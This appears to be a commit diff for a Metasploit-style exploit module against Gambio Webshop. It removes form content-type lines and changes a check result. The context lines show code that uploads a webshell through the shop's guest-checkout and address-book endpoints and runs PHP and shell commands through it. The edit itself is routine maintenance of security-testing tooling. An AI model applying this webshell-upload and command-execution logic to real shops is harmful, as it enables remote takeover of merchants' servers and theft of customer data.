@@ -102,7 +102,6 @@ def execute_php(cmd, _opts = {})
102
102
send_request_cgi ( {
103
103
'method' => 'POST' ,
104
104
'uri' => normalize_uri ( target_uri . path , @webshell_name ) ,
105
- 'ctype' => 'application/x-www-form-urlencoded' ,
106
105
'vars_post' => {
107
106
@post_param => payload
108
107
}
@@ -115,7 +114,6 @@ def execute_command(cmd, _opts = {})
115
114
send_request_cgi ( {
116
115
'method' => 'POST' ,
117
116
'uri' => normalize_uri ( target_uri . path , @webshell_name ) ,
118
- 'ctype' => 'application/x-www-form-urlencoded' ,
119
117
'vars_get' => {
120
118
@get_param => php_cmd_function
121
119
} ,
@@ -158,7 +156,6 @@ def upload_webshell
158
156
res = send_request_cgi ( {
159
157
'method' => 'POST' ,
160
158
'uri' => normalize_uri ( target_uri . path , 'shop.php?do=CreateGuest/Proceed' ) ,
161
- 'ctype' => 'application/x-www-form-urlencoded' ,
162
159
'keep_cookies' => true ,
163
160
'vars_post' => {
164
161
'firstname' => firstname ,
@@ -181,7 +178,6 @@ def upload_webshell
181
178
res = send_request_cgi ( {
182
179
'method' => 'POST' ,
183
180
'uri' => normalize_uri ( target_uri . path , 'shop.php?do=Parcelshopfinder/AddAddressBookEntry' ) ,
184
- 'ctype' => 'application/x-www-form-urlencoded' ,
185
181
'keep_cookies' => true ,
186
182
'vars_post' => {
187
183
'checkout_started' => 0 ,
@@ -215,7 +211,7 @@ def check
215
211
# Search for "Gambio" on the login page
216
212
return CheckCode ::Safe unless res . body . include? ( 'gambio' )
217
213
218
- CheckCode ::Appears ( 'It looks like Gambio Webshop is running.' )
214
+ CheckCode ::Detected ( 'It looks like Gambio Webshop is running.' )
219
215
end
220
216
221
217
def exploit
0 commit comments